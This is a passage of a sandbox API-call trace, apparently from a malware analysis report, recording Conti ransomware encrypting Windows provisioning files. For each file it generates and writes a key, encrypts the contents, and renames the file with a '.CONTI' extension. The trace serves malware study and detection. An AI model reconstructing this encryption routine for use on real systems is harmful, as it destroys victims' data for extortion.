	[0111.965] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\461__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\461__connections_cellular_kyivstar (ukraine)_i3$(__mvid)@wap.provxml")) returned 0x20
	[0111.965] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\461__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\461__connections_cellular_kyivstar (ukraine)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410
	[0111.965] GetLastError () returned 0x0
	[0111.965] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x35ffa00 | out: lpFileSize=0x35ffa00*=717) returned 1
	[0111.965] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cd
	[0111.965] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.966] SetEndOfFile (hFile=0x410) returned 1
	[0111.966] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.966] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.966] WriteFile (in: hFile=0x410, lpBuffer=0x180576c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x35ffa0c, lpOverlapped=0x0 | out: lpBuffer=0x180576c*, lpNumberOfBytesWritten=0x35ffa0c*=0x20c, lpOverlapped=0x0) returned 1
	[0112.805] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.805] ReadFile (in: hFile=0x410, lpBuffer=0x11c20000, nNumberOfBytesToRead=0x2cd, lpNumberOfBytesRead=0x35ffa2c, lpOverlapped=0x0 | out: lpBuffer=0x11c20000*, lpNumberOfBytesRead=0x35ffa2c*=0x2cd, lpOverlapped=0x0) returned 1
	[0112.806] CryptEncrypt (in: hKey=0x6b7f4f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11c20000*, pdwDataLen=0x35ffa24*=0x2cd, dwBufLen=0x500000 | out: pbData=0x11c20000*, pdwDataLen=0x35ffa24*=0x2d0) returned 1
	[0112.806] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.806] WriteFile (in: hFile=0x410, lpBuffer=0x11c20000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x35ffa40, lpOverlapped=0x0 | out: lpBuffer=0x11c20000*, lpNumberOfBytesWritten=0x35ffa40*=0x2d0, lpOverlapped=0x0) returned 1
	[0112.806] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.806] WriteFile (in: hFile=0x410, lpBuffer=0x1805760*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x35ffa58, lpOverlapped=0x0 | out: lpBuffer=0x1805760*, lpNumberOfBytesWritten=0x35ffa58*=0x8, lpOverlapped=0x0) returned 1
	[0112.806] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.806] CloseHandle (hObject=0x410) returned 1
	[0112.822] GetProcessHeap () returned 0x1720000
	[0112.822] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.886] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\461__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\461__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\461__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml"
	[0113.935] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\461__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\461__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\461__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml.CONTI"
	[0113.943] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\461__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\461__connections_cellular_kyivstar (ukraine)_i3$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\461__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\461__connections_cellular_kyivstar (ukraine)_i3$(__mvid)@wap.provxml.conti")) returned 1
	[0113.944] GetProcessHeap () returned 0x1720000
	[0113.944] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.944] CryptDestroyKey (hKey=0x6b7f4f8) returned 1
	[0113.944] GetProcessHeap () returned 0x1720000
	[0113.944] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d66c0 | out: hHeap=0x1720000) returned 1
	[0113.944] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90) returned 1
	[0113.944] CryptGenKey (in: hProv=0x176b798, Algid=0x6610, dwFlags=0x1, phKey=0x6b47520 | out: phKey=0x6b47520*=0x17c7830) returned 1
	[0113.944] CryptExportKey (in: hKey=0x17c7830, hExpKey=0x175e8b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b47524, pdwDataLen=0x35ffa54 | out: pbData=0x6b47524*, pdwDataLen=0x35ffa54*=0x20c) returned 1
	[0113.945] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\679__Connections_Cellular_Y!mobile (Japan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\679__connections_cellular_y!mobile (japan)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.945] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\679__Connections_Cellular_Y!mobile (Japan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\679__connections_cellular_y!mobile (japan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c
	[0113.945] GetLastError () returned 0x0
	[0113.945] GetFileSizeEx (in: hFile=0x40c, lpFileSize=0x35ffa00 | out: lpFileSize=0x35ffa00*=897) returned 1
	[0113.945] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x381
	[0113.945] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.945] SetEndOfFile (hFile=0x40c) returned 1
	[0113.945] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.945] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.946] WriteFile (in: hFile=0x40c, lpBuffer=0x6b47524*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x35ffa0c, lpOverlapped=0x0 | out: lpBuffer=0x6b47524*, lpNumberOfBytesWritten=0x35ffa0c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.952] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.952] ReadFile (in: hFile=0x40c, lpBuffer=0x11c20000, nNumberOfBytesToRead=0x381, lpNumberOfBytesRead=0x35ffa2c, lpOverlapped=0x0 | out: lpBuffer=0x11c20000*, lpNumberOfBytesRead=0x35ffa2c*=0x381, lpOverlapped=0x0) returned 1
	[0113.952] CryptEncrypt (in: hKey=0x17c7830, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11c20000*, pdwDataLen=0x35ffa24*=0x381, dwBufLen=0x500000 | out: pbData=0x11c20000*, pdwDataLen=0x35ffa24*=0x390) returned 1
	[0113.952] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.952] WriteFile (in: hFile=0x40c, lpBuffer=0x11c20000*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x35ffa40, lpOverlapped=0x0 | out: lpBuffer=0x11c20000*, lpNumberOfBytesWritten=0x35ffa40*=0x390, lpOverlapped=0x0) returned 1
	[0113.952] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.953] WriteFile (in: hFile=0x40c, lpBuffer=0x6b47518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x35ffa58, lpOverlapped=0x0 | out: lpBuffer=0x6b47518*, lpNumberOfBytesWritten=0x35ffa58*=0x8, lpOverlapped=0x0) returned 1
	[0113.953] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.953] CloseHandle (hObject=0x40c) returned 1
	[0113.953] GetProcessHeap () returned 0x1720000
	[0113.953] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.953] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\679__Connections_Cellular_Y!mobile (Japan)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\679__Connections_Cellular_Y!mobile (Japan)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\679__Connections_Cellular_Y!mobile (Japan)_i0$(__MVID)@WAP.provxml"
	[0113.953] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\679__Connections_Cellular_Y!mobile (Japan)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\679__Connections_Cellular_Y!mobile (Japan)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\679__Connections_Cellular_Y!mobile (Japan)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.953] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\679__Connections_Cellular_Y!mobile (Japan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\679__connections_cellular_y!mobile (japan)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\679__Connections_Cellular_Y!mobile (Japan)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\679__connections_cellular_y!mobile (japan)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.954] GetProcessHeap () returned 0x1720000
	[0113.954] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.954] CryptDestroyKey (hKey=0x17c7830) returned 1
	[0113.954] GetProcessHeap () returned 0x1720000
	[0113.954] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65c64e8 | out: hHeap=0x1720000) returned 1
	[0113.954] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90) returned 1
	[0113.954] CryptGenKey (in: hProv=0x176b798, Algid=0x6610, dwFlags=0x1, phKey=0x6b479b0 | out: phKey=0x6b479b0*=0x17c7830) returned 1
	[0113.954] CryptExportKey (in: hKey=0x17c7830, hExpKey=0x175e8b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b479b4, pdwDataLen=0x35ffa54 | out: pbData=0x6b479b4*, pdwDataLen=0x35ffa54*=0x20c) returned 1
	[0113.955] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\680__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\680__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0113.955] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\680__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\680__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c
	[0113.955] GetLastError () returned 0x0
	[0113.955] GetFileSizeEx (in: hFile=0x40c, lpFileSize=0x35ffa00 | out: lpFileSize=0x35ffa00*=451) returned 1
	[0113.955] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1c3
	[0113.955] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.955] SetEndOfFile (hFile=0x40c) returned 1
	[0113.959] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.959] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.959] WriteFile (in: hFile=0x40c, lpBuffer=0x6b479b4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x35ffa0c, lpOverlapped=0x0 | out: lpBuffer=0x6b479b4*, lpNumberOfBytesWritten=0x35ffa0c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.963] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.963] ReadFile (in: hFile=0x40c, lpBuffer=0x11c20000, nNumberOfBytesToRead=0x1c3, lpNumberOfBytesRead=0x35ffa2c, lpOverlapped=0x0 | out: lpBuffer=0x11c20000*, lpNumberOfBytesRead=0x35ffa2c*=0x1c3, lpOverlapped=0x0) returned 1
	[0113.963] CryptEncrypt (in: hKey=0x17c7830, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11c20000*, pdwDataLen=0x35ffa24*=0x1c3, dwBufLen=0x500000 | out: pbData=0x11c20000*, pdwDataLen=0x35ffa24*=0x1d0) returned 1
	[0113.963] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.963] WriteFile (in: hFile=0x40c, lpBuffer=0x11c20000*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x35ffa40, lpOverlapped=0x0 | out: lpBuffer=0x11c20000*, lpNumberOfBytesWritten=0x35ffa40*=0x1d0, lpOverlapped=0x0) returned 1
	[0113.963] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.963] WriteFile (in: hFile=0x40c, lpBuffer=0x6b479a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x35ffa58, lpOverlapped=0x0 | out: lpBuffer=0x6b479a8*, lpNumberOfBytesWritten=0x35ffa58*=0x8, lpOverlapped=0x0) returned 1
	[0113.963] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.963] CloseHandle (hObject=0x40c) returned 1
	[0113.963] GetProcessHeap () returned 0x1720000
	[0113.963] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.963] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\680__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\680__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\680__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0113.963] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\680__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\680__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\680__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0113.963] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\680__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\680__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\680__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\680__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0113.964] GetProcessHeap () returned 0x1720000
	[0113.964] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.964] CryptDestroyKey (hKey=0x17c7830) returned 1
	[0113.964] GetProcessHeap () returned 0x1720000
	[0113.964] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1819108 | out: hHeap=0x1720000) returned 1
	[0113.964] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90) returned 1
	[0113.964] CryptGenKey (in: hProv=0x176b798, Algid=0x6610, dwFlags=0x1, phKey=0x6b47e40 | out: phKey=0x6b47e40*=0x17c7bf0) returned 1
	[0113.964] CryptExportKey (in: hKey=0x17c7bf0, hExpKey=0x175e8b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b47e44, pdwDataLen=0x35ffa54 | out: pbData=0x6b47e44*, pdwDataLen=0x35ffa54*=0x20c) returned 1
	[0113.965] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\682__Connections_Cellular_Claro (Brazil)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\682__connections_cellular_claro (brazil)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.965] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\682__Connections_Cellular_Claro (Brazil)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\682__connections_cellular_claro (brazil)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c
	[0113.966] GetLastError () returned 0x0
	[0113.966] GetFileSizeEx (in: hFile=0x40c, lpFileSize=0x35ffa00 | out: lpFileSize=0x35ffa00*=837) returned 1
	[0113.966] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x345
	[0113.966] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.966] SetEndOfFile (hFile=0x40c) returned 1
	[0113.966] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.966] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.966] WriteFile (in: hFile=0x40c, lpBuffer=0x6b47e44*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x35ffa0c, lpOverlapped=0x0 | out: lpBuffer=0x6b47e44*, lpNumberOfBytesWritten=0x35ffa0c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.972] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.972] ReadFile (in: hFile=0x40c, lpBuffer=0x11c20000, nNumberOfBytesToRead=0x345, lpNumberOfBytesRead=0x35ffa2c, lpOverlapped=0x0 | out: lpBuffer=0x11c20000*, lpNumberOfBytesRead=0x35ffa2c*=0x345, lpOverlapped=0x0) returned 1
	[0113.972] CryptEncrypt (in: hKey=0x17c7bf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11c20000*, pdwDataLen=0x35ffa24*=0x345, dwBufLen=0x500000 | out: pbData=0x11c20000*, pdwDataLen=0x35ffa24*=0x350) returned 1
	[0113.972] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.972] WriteFile (in: hFile=0x40c, lpBuffer=0x11c20000*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x35ffa40, lpOverlapped=0x0 | out: lpBuffer=0x11c20000*, lpNumberOfBytesWritten=0x35ffa40*=0x350, lpOverlapped=0x0) returned 1
	[0113.972] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.972] WriteFile (in: hFile=0x40c, lpBuffer=0x6b47e38*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x35ffa58, lpOverlapped=0x0 | out: lpBuffer=0x6b47e38*, lpNumberOfBytesWritten=0x35ffa58*=0x8, lpOverlapped=0x0) returned 1
	[0113.973] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.973] CloseHandle (hObject=0x40c) returned 1
	[0113.973] GetProcessHeap () returned 0x1720000
	[0113.973] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.973] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\682__Connections_Cellular_Claro (Brazil)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\682__Connections_Cellular_Claro (Brazil)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\682__Connections_Cellular_Claro (Brazil)_i0$(__MVID)@WAP.provxml"
